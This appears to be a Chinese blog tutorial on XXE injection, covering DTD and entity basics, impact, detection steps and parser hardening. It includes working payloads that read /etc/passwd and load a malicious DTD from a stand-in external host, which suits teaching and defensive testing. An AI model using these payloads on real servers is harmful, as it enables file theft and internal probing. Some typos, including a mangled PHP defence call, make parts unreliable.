XXE漏洞原理&利用&防御

一、XML概念

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语。XML3

文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。在HTML文档中显示动态数据。

1、DTD(文档类型定义)

作用:定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。

内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>

引用外部DTD(漏洞一般出自这里):
<!DOCTYPE 根元素 SYSTEM "文件名">或者
<!DOCTYPE 根元素 PUBLIC "public_ ID" "文件名">

2、entity

DTD实体,是用于定义弓|用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

内部声明实体:
<!ENTITY 实体名称 "实体的值">

引用外部实体(漏洞一般出自这里):
<!ENTITY 实体名称 SYSTEM “URL">或者是
<!ENTITY 实体名称 PUBLIC "public ID" "URL">

3、实例

代码解析:

在上面的xml内容中,可以看到<!DOCTYPE entity [<!ENTITY name "test">]>这个语句是一个DTD内部包含了一个entity,name为实体名称,test为实体的值,后面的<root>&name</root>语句是预估元素,目的是将名为name的实体值进行输出,

漏洞探测和利用:

尝试将name后面的"test"改为:SYSTEM "[file:///etc/passwd](file://etc/passwd)" 这样可以尝试看是否存在应用外部实体,若有的话,后面的输出name实体的值将会是文件路径:/etc/passwd中的内容

二、XXE漏洞

概念

xxe全名"xml external entity injection"即"xml外部实体注入"。有了XML实体,关键字’SYSTEM’会令XML解析器从URL中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。

比如,下面的代码将获取系统上folder/file的内容并呈献给用。攻击者通过xml语句中写入指定的xml实体语句,从而让服务器技执行,从而导致问题。服务端接收和解析了用户端传过来的xml数据,而没有做安全控制,从而导致xml外部实体注入。

危害

读取任意文件、命令执行、内网探测、攻击内网网站、拒绝服务攻击等

三、DTD与实体

这里DTD(文档类型定义)的作用是定义XML文件中有哪些模块,这些模块能包含什么样的内容。常见的模块有元素,属性,实体,PCDATA,CDATA等等。

其中一种模块是实体。实体就像编程语言中的常量,我们可以将一串普通文本定义为个实体,这样就可以在XML通过这个实体引用这段文本实体主要有两种,直接在。DTD中声明的实体称为内部实体,通过从外部引入内容的是外部实体,没有做校验或防御那么外部实体就可以被利用。

四、XXE攻击

1、直接通过DTD外部实体声明

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
	<!ENTITY b SYSTEM "[file:///etc/passwd](file://etc/passwd)">
]>
<c>&b;</c>

2、通过DTD文档引入外部DTD文档,再引入外部实体声明

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a SYSTEM " <http://xxx.com/xxx.dtd>"> //调用的是我们事先搭建好的网站中的DTD文件
<c>&b;</c>

DTD文件内容:
<!ENTITY b SYSTEM "[file:///etc/passwd](file://etc/passwd)">

3、通过DTD外部实体声明引入外部实体声明

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
	<!ENTITY % d SYSTEM " <http://xxx.com/xxx.dtd>"> //调用的是我们事先搭建好的网站中的DTD文件
	%d;
]>
<c>&b;</c>

DTD文件内容:
<!ENTITY b SYSTEM "[file:///etc/passwd](file://etc/passwd)">

五、支持协议

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

libxml2 PHP Java .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher *
phar

六、XXE漏洞挖掘

甄别那些接受XML作为输入内容的端点。但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。

在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。

黑盒测试步骤:

步骤一:检测XML是否会被成功解析:通过抓包,然后将下列代码放入请求,观察响应信息或页面显示

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
	<!ENTITY name "test">
]>
<root>&name;</root>

如果页面输出了test那么说明xml文件可以被解析

步骤二:检测服务器是否支持DTD引用外部实体:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
	<!ENTITY % name SYSTEM " http://xxxx/index.html">
	% name;
]>
<root>&name;</root>

可以通过查看自己服务器的日志进行判断,判断目标服务器是否向我的服务器发送一条请求index.html的请求。

实例:

七、XXE漏洞防御

对用户输入的做过滤,包括<、'、& 等;

不允许XML中含有自己定义的DTD;

禁止加载外部实体。

例:

PHP:

libxml___disable_ entity_ loader(true);

JAVA:

DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
posted @ 2025-12-02 09:21  shinianyunyan  阅读(33)  评论(0)    收藏  举报